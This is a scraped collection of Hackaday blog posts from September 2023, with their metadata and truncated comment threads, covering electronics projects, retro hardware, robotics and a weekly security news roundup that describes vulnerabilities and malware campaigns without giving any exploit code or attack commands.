fire breathing waterfowl
, tri and
bicopters.
He even built a
prop anti-drone RF cannon
for a movie. | 16 | 9 | [
{
"comment_id": "6687953",
"author": "Title Noticer",
"timestamp": "2023-10-01T08:18:53",
"content": "Huh. At present, the title does not display on the Hackaday blog page. Works fine on the article page.Weird!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "... | 1,760,372,150.012883 | ||
https://hackaday.com/2023/09/30/the-magic-of-a-diode-sampler-to-increase-oscilloscope-bandwidth/ | The Magic Of A Diode Sampler To Increase Oscilloscope Bandwidth | Jenny List | [
"hardware",
"News"
] | [
"diode sampler",
"oscilloscope",
"sample and hold"
] | Making an oscilloscope is relatively easy, while making a very fast oscilloscope is hard. There’s a trick that converts a mundane instrument into a very fast one, it’s been around since the 1950s, and
[CuriousMarc] has a video explaining it with an instrument from the 1960s
. The diode sampler is the electronic equivalent of a stroboscope, capturing parts of multiple cycle of a waveform to give a much-slowed-down representation of it on the screen. How it works is both extremely simple, and also exceptionally clever as some genius-level high-speed tricks are used to push it to the limit. We’ve put the video below the break.
[Marc] has a Keysight 100 MHz ‘scope and the sampler allows him to use it to show 4 GHz. Inside the instrument is a pair of sample-and-hold circuits using fast diodes as RF switches, triggered by very low-rise-time short pulses. Clever tricks abound, such as using the diode pair to cancel out pulse leakage finding its way back to the source. To complete this black magic, an RF-tuned stub is utilized to help filter the pulses and further remove slower components.
It’s slightly amusing to note that the Keysight 100 MHz ‘scope is now “slow” while the early sampling ‘scopes had their “fast” capabilities in that range. The same technique is still used today, in fact, you probably have one on your bench.
The sampler he’s showing us is an accessory for
another instrument we’ve previously shown you his work with
. | 25 | 10 | [
{
"comment_id": "6687893",
"author": "Mike Massen, Perth, Western Australia",
"timestamp": "2023-10-01T05:13:56",
"content": "Good stuff, Ive been looking at adding some AtoD on an existing instrument projectfor electro-chemistry where the electrode noise spectra could be of interest as inmight betr... | 1,760,372,150.13154 | ||
https://hackaday.com/2023/09/30/micro-robot-disregards-gears-embraces-explosions/ | Micro Robot Disregards Gears, Embraces Explosions | Donald Papp | [
"Robots Hacks",
"Science"
] | [
"explosion",
"jump",
"jumping robot",
"locomotion",
"methane",
"robot"
] | Researchers at Cornell University have developed a tiny, proof of concept robot that moves its four limbs by
rapidly igniting a combination of methane and oxygen inside flexible joints
.
The device can’t do much more than blow each limb outward with a varying amount of force, but that’s enough to be able to steer and move the little unit. It has enough power to make some very impressive jumps. The ability to navigate even with such limited actuators is reminiscent of
hopped-up bristebots
.
Electronic control of combustions in the joints allows for up to 100 explosions per second, which is enough force to do useful work. The prototype is only 29 millimeters long and weighs only 1.6 grams, but it can jump up to 56 centimeters and move at almost 17 centimeters per second.
The prototype is tethered, so those numbers don’t include having to carry its own power or fuel supply, but as a proof of concept it’s pretty interesting. Reportedly a downside is that the process is rather noisy, which we suppose isn’t surprising.
Want to see it in action? Watch
the video
(embedded below) to get an idea of what it’s capable of.
More details
are available from the research paper, as well. | 18 | 9 | [
{
"comment_id": "6687856",
"author": "Chris Lott",
"timestamp": "2023-10-01T02:54:42",
"content": "The US Army’s short range anti-tank missile the M47 Dragon (obsolete) used to “steer” like this. The body spun in fight and small motors(?) fired in short bursts precisely timed to kick the missile bac... | 1,760,372,150.257109 | ||
https://hackaday.com/2023/09/30/cnc-soldering-bot-handles-your-headers/ | CNC Soldering Bot Handles Your Headers | Jenny List | [
"cnc hacks"
] | [
"automation",
"cnc soldering",
"robot",
"soldering"
] | Soldering pin headers by hand is a tedious task, especially when your project has a huge number of them. [iforce2d] has a large number of boards with a lot of headers, and has created a rather special CNC machine to to do the job.
It’s a soldering robot
, controlled by LinuxCNC and you can see it below the break.
Superficially it resembles a 3D printer made in aluminium, with an X-Y movable table and a Z-direction represented by a soldering iron and solder feeder on an arm. The solder feeder uses a Bowden tube, with a 3D-printer extruder motor pushing the solder wire down a PTFE tube and finally into a fine aluminium tube from which it’s fed to the iron tip.
Though he’s done a beautiful job of it, creating the machine is not all that’s required, because the tool path requires more attention than simply moving the iron to each pin and supplying some solder. There’s a need to consider the effect of that heat, how much each pad needs, and how much neighbouring pads contribute.
We’ve had repetitive soldering tasks just like this one though not on this scale, so we can understand the tedium this machine will relieve. We can’t however help being reminded of
XKCD 1319
. | 39 | 13 | [
{
"comment_id": "6687824",
"author": "Brian C",
"timestamp": "2023-09-30T23:35:41",
"content": "Awesome!!!!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6687827",
"author": "ian 42",
"timestamp": "2023-09-30T23:51:54",
"content": "I thought the x... | 1,760,372,150.551855 | ||
https://hackaday.com/2023/09/29/hackaday-prize-2023-automated-shuttle-launcher-enables-solo-badminton-practice/ | Hackaday Prize 2023: Automated Shuttle Launcher Enables Solo Badminton Practice | Robin Kearey | [
"Robots Hacks"
] | [
"badminton",
"launcher",
"shuttle",
"shuttlecock"
] | If you want to get better at your favorite sport, there’s really no substitute to putting in more training hours. For solo activities like running or cycling that’s simple enough: the only limit to your training time is your own endurance. But if you’re into games that require a partner, their availability is another limiting factor. So what’s a badminton enthusiast like [Peter Sinclair] to do, when they don’t have a club nearby?
Build a badminton training robot, of course.
Automatic shuttlecock launchers are available commercially, but [Peter] found them very expensive and difficult to use. So he set himself a target to design a 3D-printable, low-cost, safe machine that would still be of real use in badminton training. After studying an apparently defunct open-source shuttle launcher called
Baddy
, he came up with the basic design: a vertical shuttle magazine, a loading mechanism to extract one shuttle at a time and position it for launch, and two wheels spinning at high speed to launch the shuttle forward. Video after the break.
Getting all the details right took a few iterations, as [Peter] describes
in detail
on his Hackaday.io page. The motors are powerful brushless DC ones normally used for drones, which can spin at up to 7000 rpm. They grip the shuttle’s head using two molded urethane wheels that are flexible enough to provide a good grip, but strong enough to last for a long time. All other parts of the machine are 3D printed for maximum flexibility and ease of manufacturing. Several servos enable the launcher to pan and tilt far enough to reach every corner of a standard badminton court.
An ESP32 is used to control all functions. [Peter] didn’t want the added complexity of having to maintain a mobile app, so he built the entire user interface into a local web page served up through the ESP32’s WiFi connection. The user can select a wide variety of training programs and also calibrate the launcher to account for variations in shuttle types or the size of their training area.
Safety was a factor [Peter] considered throughout the design. The launcher includes a proximity sensor that will stop the mechanism if a person is standing too close, and moving parts are covered as much as possible to make the machine safe to touch. All design files and code are available on
[Peter]’s GitHub page
, hopefully enabling more badminton fans to enhance their training programs. This machine might also come in handy to fine-tune
another badminton robot that can return your serve
.
The
Hackaday
Prize 2023
is Sponsored by: | 7 | 5 | [
{
"comment_id": "6687526",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-09-29T23:22:05",
"content": "Until I read “badminton”, I was thinking about an entirely different “shuttle launch”.B^)",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id"... | 1,760,372,150.373285 | ||
https://hackaday.com/2023/09/29/building-a-human-sized-pop-pop-boat/ | Building A Human-Sized Pop-Pop Boat | Lewin Day | [
"Science"
] | [
"boat",
"pop-pop boat",
"science"
] | Pop-pop boats are a neat little science teaching tool that many children end up playing with at some point or other. They’re normally sized to float around a sink or bathtub. [Steve Mould] recently got the opportunity to board a much larger example,
sized for an actual human passenger.
The boat belongs to the The AHHAA Science Center in Estonia, along with a smaller model about half the size. Both are fired by propane gas burners to give them some real heat output into the water tank, far beyond what you’d get from little tea light candles. In the case of the larger boat, it uses a series of valves to allow the tank to be filled with water while the rear thrust pipes are closed.
At the larger scale, it’s more easy to visualize the flow out of the boat’s rear outlets. It’s by no means a fast way to get around on the water, with a top speed somewhat less than walking pace. It’s also very loud. Regardless, it’s amusing to see the pop-pop engine work even when scaled up to full size.
If you’re looking for an in-depth explanation of
how pop-pop boats work
, [Steve Mould] has covered that previously. Video after the break. | 7 | 3 | [
{
"comment_id": "6687511",
"author": "cili",
"timestamp": "2023-09-29T22:08:26",
"content": "now, a poop poop boat would be really amazing.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6687513",
"author": "Hirudinea",
"timestamp": "2023-09-... | 1,760,372,150.323311 | ||
https://hackaday.com/2023/09/29/power-supplies-without-transformers/ | Power Supplies Without Transformers | Bryan Cockfield | [
"Parts"
] | [
"power supplies",
"power supply",
"regulator",
"tps",
"transformerless",
"voltage",
"zero crossing"
] | For one-off projects or prototyping, it’s not too hard to find a wall wart or power supply to send a few joules of energy from the wall outlet to your circuit. Most of these power supplies use a transformer to step down the voltage to a more usable level and also to provide some galvanic isolation to the low voltage circuit. But for circuits where weight, volume, or cost are a major concern, a transformer may be omitted in the circuit design in favor of some sort of
transformerless power supply
.
While power supplies with this design do have many advantages, some care needs to be taken with regard to safety. The guide outlines four designs of increasing complexity which first puts out a basic transformerless power supply, using a series capacitor to limit current. To bring the voltage to an acceptable level, a recognizable bridge rectifier is paired with a capacitor as well as a zener diode. The second circuit presented adds voltage stabilization using a transistor and 78XX regulator. From there, zero-crossing detection is added to limit inrush surge currents, and the final design uses the venerable 555 timer to build a switching power supply.
Although it is noted several times throughout the guide, we’ll still point out here that transformerless designs like these introduce several safety issues since a mistake or fault can lead to the circuit being exposed to the mains voltage. However, with proper care and design it’s possible to make use of these designs to build more effective power supplies that can be safe to use for powering whatever circuit might energy but might not require the cost or weight of a transformer. For more on the theory of these interesting circuits and a few examples of where they are often found, check out
the shocking truth about transformerless power supplies
.
Thanks to [Stephen] for the tip! | 71 | 22 | [
{
"comment_id": "6687455",
"author": "SteveS",
"timestamp": "2023-09-29T18:40:52",
"content": "Obviously, the big warning** Your circuit ground is directly connected to the AC line **Depending on the use, this can be fine, but remember, if you have a 2 pin reversible plug, that means that your circu... | 1,760,372,150.478372 | ||
https://hackaday.com/2023/09/29/retrotechtacular-how-communism-made-televisions/ | Retrotechtacular: How Communism Made Televisions | Jenny List | [
"Hackaday Columns",
"Retrotechtacular"
] | [
"ddr",
"GDR",
"tv",
"TV factory"
] | For those of us who lived through the Cold War, there’s still an air of mystery as to what it was like on the Communist side. As Uncle Sam’s F-111s cruised slowly in to land above our heads in our sleepy Oxfordshire village it was at the same time very real and immediate, yet also distant. Other than being told how fortunate we were to be capitalists while those on the communist side lived lives of mindless drudgery under their authoritarian boot heel, we knew nothing of the people on the other side of the Wall, and God knows what they were told about us. It’s thus interesting on more than one level to find
a promotional film from the mid 1970s showcasing VEB Fernsehgerätewerk Stassfurt
(German, Anglophones will need to enable subtitle translation), the factory which produced televisions for East Germans. It provides a pretty comprehensive look at how a 1970s TV set was made, gives us a gateway into the East German consumer electronics business as a whole, and a chance to see how the East Germany preferred to see itself.
The RFT range of televisions in the Städtisches Kaufhaus exhibition center for the 1968 Leipzig Spring Fair. Bundesarchiv,
CC-BY-SA 3.0
The sets in question are not too dissimilar to those you would have found from comparable west European manufacturers in the same period, though maybe a few things such as the use of a tube output stage and the lack of integrated circuits hints at their being a few years behind the latest from the likes of Philips or ITT by 1975. The circuit boards are assembled onto a metal chassis which would have probably been “live” as the set would have derived its power supply by rectifying the mains directly, and we follow the production chain as they are thoroughly checked, aligned, and tested. This plant produces both colour and back-and-white receivers, and since most of what we see appears to be from the black-and-white production we’re guessing that here’s the main difference between East and West’s TV consumers in the mid ’70s.
The film is at pains to talk about the factory as a part of the idealised community of a socialist state, and we’re given a tour of the workers’ facilities to a backdrop of some choice pieces of music. References to the collective and some of the Communist apparatus abound, and finally we’re shown the factory’s Order of Karl Marx. As far as it goes then we Westerners finally get to see the lives of each
genosse
, but only through an authorised lens.
The TVs made at Stassfurt were sold under the RFT East German technology combine brand, and the factory continued in operation through the period of German re-unification. Given that many former East German businesses collapsed with the fall of the Wall, and that the European consumer electronics industry all but imploded in the period following the 1990s then, it’s something of a surprise to find that it survives today, albeit in a much reduced form. The plant is now owned by the German company
TechniSat
, and manufactures the latest-spec digital TVs. Meanwhile for those interested in history there’s
a museum exhibition in the town
(German language,
Google Translate link
), which looks very much worth a visit should you be motoring across Germany.
As degenerate capitalists we weren’t offered the privilege of buying a TV from the Worker’s Paradise, so we never had the opportunity to see how their quality stacked up to that of the Western models. It’s worth remembering that however rose-tinted our view of the 1970s may be, British-made sets of the period weren’t particularly reliable themselves.
As a juxtaposition of how a communist TV factory saw itself,
have a watch of a capitalist one doing a bit of self-promotion
. | 28 | 10 | [
{
"comment_id": "6687436",
"author": "Manfred",
"timestamp": "2023-09-29T17:26:56",
"content": "As with most east German products these TVs were quite good, when they were developed.The only problem was that they were in production way too long.Sometimes so long that the western equivalent was alrea... | 1,760,372,150.667897 | ||
https://hackaday.com/2023/09/29/hackaday-podcast-238-vibrating-bowl-feeders-open-sourcery-learning-to-love-layer-lines/ | Hackaday Podcast 238: Vibrating Bowl Feeders, Open Sourcery, Learning To Love Layer Lines | Tom Nardi | [
"Hackaday Columns",
"Podcasts"
] | [
"Hackaday Podcast"
] | Elliot Williams and Tom Nardi start this week’s episode off with some deep space news, as NASA’s OSIRIS-REx returns home with a sample it snapped up from asteroid Bennu back in 2020. From there, discussion moves on to magical part sorting, open source (eventually…) plastic recycling, and the preposterously complex method newer Apple laptops use to determine if their lid is closed. They’ll also talk about the changing perceptions of 3D printed parts, a new battery tech that probably won’t change the world, and a clock that can make it seem like your nights are getting longer and longer. Stick around until the end to hear about the glory days of children’s architecture books, and the origins of the humble microwave oven.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Go ahead and download it
!
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 238 Show Notes:
News:
Capsule Containing Asteroid Bennu Sample Has Landed – OSIRIS-REx Mission
OSIRIS-REx Reaches Out And Touches Asteroid Bennu
Kenneth Finnegan: The Hackaday Superconference #HackerTrain
What’s that Sound?
Fill out the form for a chance to win this week’s “What’s That Sound” challenge
.
Interesting Hacks of the Week:
Feed Your Fasteners In Line, With A Bowl Feeder
Dispense 60 Bolts In 2.3 Seconds
Getting Shredded Plastic…and Legs
Think Globally, Build Locally With These Open-Source Recycling Machines
DIY Injection Mold Design For The Home Shop
The Reverse Oscilloscope
Beating Apple’s Secret Lid Angle Sensor Calibration With Custom Tool
Processes, Threads, And… Fibers?
Powder Your Prints For Baby-Smoothness
Quick Hacks:
Elliot’s Picks:
Will Nickel-Hydrogen Cells Be The Energy Storage Holy Grail?
Dead E. Ruxpin Appears Alive And Well
Passive Components Get Better
Tom’s Picks:
Drop-In Upgrade PCB Brings USB-C To DualShock 4
Single-Button Keyboard Has Multiple Uses
Hackaday Prize 2023: Stretch Your Day With This 29-Hour Clock
Can’t-Miss Articles:
Books You Should Read: David Macaulay’s Architecture Series
Tech In Plain Sight: Microwave Ovens | 4 | 2 | [
{
"comment_id": "6687544",
"author": "CMH62",
"timestamp": "2023-09-30T01:02:29",
"content": "I looked into vibratory bowl feeders once for a home DIY project that was being built (for a coin collecting friend) to sort copper pennies from zinc-based pennies. But the cost of the bowl feeders proved ... | 1,760,372,150.598336 | ||
https://hackaday.com/2023/09/29/10-foot-high-3d-printer-based-on-ender-3/ | 10-Foot High 3D Printer Based On Ender 3 | Lewin Day | [
"3d Printer hacks"
] | [
"3d printer",
"build volume",
"doug dimmadome",
"ender 3"
] | There are two main ways to 3D print large things. You can either make lots of small 3D prints and stick them together, or you can use a larger 3D printer. [Emily the Engineer] went the latter route
by making her Ender 3 a full 10 feet tall.
The best Doug Dimmadome hat we’ve seen in a while, printed on the 10-foot Ender 3. If you’re unfamiliar, Doug Dimmadome is the owner of the Dimmsdale Dimmadome.
The Ender 3’s modular construction made this feat straightforward in the early steps. The printer was simply disassembled, with longer aluminium extrusions bolted in their place. New wheels were resin printed via Onshape to to run along the new extrusions, which were of a slightly different profile to the original parts. Wiring was also a hurdle, with the 10-foot printer requiring a lot longer cables than the basic Ender 3.
An early attempt to make the Z-axis work with a very long threaded rod failed. Instead, a belt-driven setup was subbed in, based on existing work to convert Ender 3s to belt drive. With a firmware mod and some wiring snarls fixed, the printer was ready to try its first high print. Amazingly, the printer managed to complete a print at full height, albeit the shaking of the tall narrow print lead to some print quality issues. The frame and base were then expanded and some struts installed to add stability, so that the printer could create taller parts with decent quality.
While few of us would need a 10-foot high Ender 3, it’s easy to see the value in expanding your printer’s build volume with some easy mods. [Emily] just took it
to the extreme,
and that’s to be applauded. Video after the break. | 27 | 10 | [
{
"comment_id": "6687405",
"author": "Thinkerer",
"timestamp": "2023-09-29T15:46:16",
"content": "Although this is a great showpiece project, the more interesting aspects are (1.) the printers are enormously scalable with a relative minimum of fuss (and a bit of integrated stabilization for very lar... | 1,760,372,150.775814 | ||
https://hackaday.com/2023/09/29/this-week-in-security-magic-packets-gpu-zip-and-enter-the-sandman/ | This Week In Security: Magic Packets, GPU.zip, And Enter The Sandman | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks"
] | [
"0-day",
"apt",
"Citizenlab"
] | Leading out the news this week is a report of “BlackTech”, an Advanced Persistent Threat (APT) group that appears to be based out of China, that
has been installing malicious firmware on routers around the world
. This firmware has been found primarily on Cisco devices, and
Cisco has released a statement
clarifying their complete innocence and lack of liability in the matter.
It seems that this attack only works on older Cisco routers, and the pattern is to log in with stolen or guessed credentials, revert the firmware to a yet older version, and then replace it with a malicious boot image. But the real fun here is the “magic packets”, a TCP or UDP packet filled with random data that triggers an action, like enabling that SSH backdoor service. That idea sounds remarkable similar to
Fwknop
, a project I worked on many years ago. It would be sort of surreal to find some of my code show up in an APT.
Don’t Look Now, But Is Your GPU Leaking Pixels
There’s a bit debate on who’s fault this one is, as well as how practical of an attack it is, but the idea is certainly interesting. Compression has some interesting system side effects, and
it’s possible for a program with access to some system analytics to work out the state of that compression
. The first quirk being leveraged here is that GPU accelerated applications like a web browser use compression to stream the screen view from the CPU to the GPU. But normally, that’s way too many pixels and colors to try to sort out just by watching the CPU and ram power usage.
And that brings us to the second quirk, that in Chrome, one web page can load a second in an iframe, and then render CSS filters on top of the iframe. This filter ability is then used to convert the page to black and white tiles, and then transform the white tiles into a hard-to-compress pattern, while leaving the black ones alone. With that in place, it’s possible for the outer web page to slowly recreate the graphical view of the iframe, leaking information that is displayed on the page.
And this explains why this isn’t the most practical of attacks, as it not only requires opening a malicious page to host the attack, it also makes some very obvious graphical changes to the screen. Not to mention taking at least 30 minutes of data leaking to recreate a username displayed on the Wikipedia page. What it lacks in practicality, this approach makes up for in cleverness and creativity, though. The attack goes by the GPU.zip moniker, and
the full PDF is available
.
libwebp is Everywhere
We warned you last week that the WebP vulnerability was going to have a long tail. Google has caught up to that reality, it seems,
issuing CVE-2023-5129 as a CVSS 10.0 vulnerability in libwebp
, which is hiding in nearly everything. Interestingly, that CVE has been pulled, and it’s all being tracked in CVE-2023-4863. Stay tuned!
Enter Sandman
There’s
something brewing in the Middle East and Europe
: a group being tracked as Sandman that really likes compromising telecommunication companies. The malware framework being used is known as LuaDream, and is running in
LuaJIT
of all things.
The tradecraft of this malware group is also notable. The targets seem to be carefully selected, the post-compromise actions are minimal, and the goal seems to be getting a foothold on the right systems. And while the malware has been discovered, it’s still pretty much unknown who exactly is behind the campaign. Definitely spooky.
Beware the Fake CVE
This isn’t the first time that
malware has been disguised as legitimate malware research
. This one seems even less targeted, being a fake Proof of Concept (PoC) just uploaded to a Github repository. It claims to be a WinRAR PoC, but it’s just a relatively boring malware dropper script. The idea is that a researcher, cybercriminal, or anyone else would grab the script hoping to re-use the vulnerability, and run it without properly vetting the code.
The timestamps on the files seems to indicate that the malware and infrastructure was set up in advance, and the author just waited for a sufficiently tempting PoC to come along. When the WinRAR problem caught some attention, the malware was prepped to look appropriate, and the released to the world. Clever.
RCEs and CIs
Researchers at Sonar
have found a vulnerability in JetBrains’ TeamCity
Continuous Integration (CI) Server. For those that haven’t had the pleasure/pain of working with CI, that’s a system where every change made to a software project results in a new compilation of the project, ideally with tests automatically getting run, and merging blocked if the tests fail too spectacularly. The scary thing is that some of those CI services are publicly available. Having vulnerabilities in those is definitely not good.
The vulnerability in TeamCity
is the on-premises version only
, but it boils down to a wildcard matching too much of a URL. Any API request ending with
/RPC2
is effectively unauthenticated. Ouch.
And then there’s Jira Confluence and Bitbucket. Confluence, the Java-based
corporate wiki has a high severity Denial of Service
. Bitbucket has an unauthenticated RCE, also considered high severity. Both flaws were privately disclosed, and seemingly haven’t been exploited anywhere yet. Updates are available for all the above problems.
Chrome, JIT, and RCE.
If you’ve ever wondered how Javascript Type confusion leads to an RCE vulnerability,
this Github blog post has you covered
. In this case, it’s all about how JS code gets turned into a dependency graph for optimization. This compilation process can actually change JS objects in very subtle ways. Because Javascript execution and compilation is done multi-threaded in modern interpreters, this results in a potential case where the compilation change hapens without properly updating the mapping of the target object. That de-sync means out-of-bounds access, and just enough of a lever to get to arbitrary code execution. The details are too involved to fully delve here, so follow the link if you’re inclined.
Bits and Bytes
Drupal Core has
a cache poisoning issue
, where the JSON:API module can be manipulated into spitting out an error backtrace. The problem is that those backtraces aren’t properly sanitized, can be cached, and in some cases unauthenticated users can access those caches. Updates are available, and mitigation is as easy as uninstalling the JSON:API.
Yet another
0-day chain has been yanked by CitizenLab
. This exploit chain is part of Cytrox Predator spyware, and it was discovered on the device of a Egyption presidential hopeful, [Ahmed Eltantawy]. It seems like the initial infection was via network injection, performed by the official ISP. Visit just one HTTP web page, and the mobile device is redirected to the exploit. This particular set of vulnerabilities have been squashed. | 4 | 3 | [
{
"comment_id": "6687411",
"author": "make piece not war",
"timestamp": "2023-09-29T15:58:51",
"content": "You should call this “This weak in security”",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6687428",
"author": "Ostracus",
"timestamp": "2023-09... | 1,760,372,150.708423 | ||
https://hackaday.com/2023/09/29/turing-complete-programming-on-arm-with-two-instructions/ | Turing Complete Programming On ARM With Two Instructions | Maya Posch | [
"Software Development"
] | [
"armf**k",
"BrainF*ck",
"esoteric language"
] | There are many questions that can be asked for software projects, with most of these questions starting with ‘Why…?’. This is true for the challenge of proving that cascading stylesheets are Turing-complete, or that you don’t need all those fancy ISA bits of an ARM processors when you already got the
LDM
and
STM
commands in the 32-bit ISA. What originally started off as a bit of a running gag in a group of developers led to [Kellan Clark] implementing a Turing-complete computer and a functioning interpreter
using nothing but these two opcodes
.
Adding some Brainf**k to your ARM, inside your GBA.
These two opcodes essentially allow the storing or reading of data into memory from any combination of the 16 general-purpose registers (GPRs). This makes them both extremely versatile and also extremely open to ‘abuse’ like in this example. For a straightforward implementation that could prove the concept, [Kellan] decided to pick one of
everyone’s favorite esoteric
programming languages:
Brainf**k
, creating the charmingly titled
Armf**k
that allows anyone to write BF programs for any suitable ARM processor, like the ARM7TDMI in the Game Boy Advance that [Kellan] targeted.
As a proof of concept it’s unquestioningly intriguing, and a great example of how the most powerful parts of any ISA are those that move data around. After all, as anyone who writes ASM and C knows, computers are just machines that can copy bytes around really fast to make stuff happen. Mind-blowing examples like these serve to illustrate that point quite well.
Tip kindly provided by [eeucalyptus]. | 14 | 7 | [
{
"comment_id": "6687340",
"author": "MrSVCD",
"timestamp": "2023-09-29T11:47:54",
"content": "What does LDM & ST stand for? (I feel like a explanation of them is missing).",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6687345",
"author": "Truth",
... | 1,760,372,150.833815 | ||
https://hackaday.com/2023/09/29/building-a-weather-display-in-rust/ | Building A Weather Display In Rust | Bryan Cockfield | [
"Microcontrollers"
] | [
"api",
"e-ink",
"eink",
"ESP32",
"nimh battery",
"programming",
"rust",
"weather",
"weather station"
] | We’ve seen a lot of weather displays over the years, and plenty of the more modern ones have been using some form of electronic paper. So what makes this particular build from [Harry Stern] different? The fact that the firmware running on the ESP32 microcontroller at its heart
was developed in Rust
.
The weather station itself is capable of operating for several months on its rechargeable NiMH battery bank. The Rust section of the project is in two parts, the first of which runs on a server which downloads the weather data and aggregates it into an image. The second part runs on the ESP32 using esp-idf which configures peripherals, turns on and connects to Wi-Fi, retrieves the image from the server, displays the image and then puts the display to sleep. By doing the heavy lifting on the server, the display should be able to run for longer than it would if everything was happening on the ESP32.
The project code is available from
this GitHub page
which should allow even Rust beginners to follow along, and the case file is also available for those with a 3D printer. [Harry] has a few upgrades planned for future releases as well, including a snap-fit case, a custom PCB, and improved voltage regulator for better battery life, and enhanced error handling for the weather API. And Rust isn’t the only interesting part of this project, either. As prices for e-paper displays continue to fall, more and more of them are found in projects like weather stations and
even complete laptops which use these displays exclusively
. | 21 | 9 | [
{
"comment_id": "6687310",
"author": "BT",
"timestamp": "2023-09-29T08:16:22",
"content": "I don’t get why everything written in Rust has to shout about it. It’s just another language, no big deal.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6687320",
... | 1,760,372,150.88765 | ||
https://hackaday.com/2023/09/28/fixing-a-c64-with-a-cheap-20-oscilloscope/ | Fixing A C64 With A Cheap $20 Oscilloscope | Lewin Day | [
"Retrocomputing"
] | [
"c64",
"commodore 64",
"oscilloscope",
"scope"
] | Modern computers are so fast and complex that we would seldom try and fix them on a component level with simple DIY tools. Working on an early 1980s computer is much easier by comparison, with the fastest signals often in the single-MHz range. [Sayaka] demonstrates this by
using a cheap $20 oscilloscope to troubleshoot and repair a Commodore 64.
After powering it up for the first time, the C64 displays a BASIC prompt, but none of the keys seem to work. [Sayaka] did what good hackers do, and immediately disassembled it to try and figure out the problem, suspecting the CIA chip as a likely culprit.
[Sayaka] elected to purchase a cheap DS0138 oscilloscope kit to help troubleshoot the C64. It’s not the most capable thing, with a bandwidth of just 200 KHz, but it’s enough to do some work on an old retro machine. After probing around to check a number of signals, she noted that the CIA’s pins seemed to be very oxidized and suffering poor conductivity. All it took from there was a resolder job, and the computer was repaired.
We’ve seen other cheap scopes
with altogether more impressive specs, too
. Video after the break. | 16 | 7 | [
{
"comment_id": "6687308",
"author": "paulvdh",
"timestamp": "2023-09-29T08:10:46",
"content": "I bought one of these mostly for being an STM32 development board with LCD, and just for that it is worth it’s price. But I do not recommend this as a “scope”. The way the switches work is quite annoying ... | 1,760,372,150.940462 | ||
https://hackaday.com/2023/09/28/autonomous-racing-drones-are-starting-to-beat-human-pilots/ | Autonomous Racing Drones Are Starting To Beat Human Pilots | Danie Conradie | [
"drone hacks"
] | [
"autonomous drone",
"autonomous navigation",
"drone racing",
"machine vision"
] | Even with all the technological advancements in recent years, autonomous systems have never been able to keep up with top-level human racing drone pilots. However, it looks like that gap has been closed with
Swift
– an autonomous system developed by the University of Zurich’s Robotics and Perception Group.
Previous research projects
have come close, but they relied on optical motion capture settings in a tightly controlled environment. In contrast, Swift is completely independent of remote inputs and utilizes only an onboard computer,
IMU
, and camera for real-time for navigation and control. It does however require a pretrained machine learning model for the specific track, which maps the drone’s estimated position/velocity/orientation directly to control inputs. The details of how the system works is well explained in the video after the break.
The paper linked above contains a few more interesting details. Swift was able to win 60% of the time, and it’s lap times were significantly more consistent than those of the human pilots. While human pilots were often faster on certain sections of the course, Swift was faster overall. It picked more efficient trajectories over multiple gates, where the human pilots seemed to plan one
gate
in advance at most. On the other hand human pilots could recover quickly from a minor crash, where Swift did not include crash recovery.
The final results are impressive, especially given that all the processing and sensing comes from the drone. However, it still requires a well mapped track, so a human pilot should still come out on top given limited information about a new track. It would also be interesting to see how it handles large courses with gates that are much further apart. | 32 | 6 | [
{
"comment_id": "6687250",
"author": "Phil Barrett",
"timestamp": "2023-09-29T02:22:29",
"content": "Taking the human element out of racing makes it seem a lot less interesting to me. Maybe I’m just old school.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "... | 1,760,372,151.011061 | ||
https://hackaday.com/2023/09/28/simple-stm32-frequency-meter-handles-up-to-30mhz-with-ease/ | Simple STM32 Frequency Meter Handles Up To 30MHz With Ease | Lewin Day | [
"Tool Hacks"
] | [
"frequency counter",
"stm32"
] | [mircemk] had previously built a frequency counter using an Arduino, with a useful range up to 6 MHz. Now, they’ve implemented a new design on a far more powerful STM32 chip that boosts the measurement range
up to a full 30 MHz.
That makes it a perfect tool for working with radios in the HF range.
The project is relatively simple to construct, with an STM32F103C6 or C8 development board used as the brains of the operation. It’s paired with old-school LED 7-segment displays for showing the measured frequency. Just one capacitor is used as input circuitry for the microcontroller, which can accept signals from 0.5 to 3V in amplitude. [mircemk] notes that the circuit would be more versatile with a more advanced input circuit to allow it to work with a wider range of signals.
It’s probably not the most accurate frequency counter out there, and you’d probably want to calibrate it using a known-good frequency source once you’ve built it. Regardless, it’s a cheap way to get one on your desk, and a great way to learn about measuring and working with time-varying signals. You might like to take a look at
the earlier build from [mircemk] for further inspiration.
Video after the break. | 11 | 6 | [
{
"comment_id": "6687241",
"author": "willmore",
"timestamp": "2023-09-29T00:54:08",
"content": "This kind of device is quite useful and this project is dead simple to build. The only problem is that the writeup is a bit weak. A beginner or even a reasonably intermediate user will have trouble rep... | 1,760,372,151.078142 |
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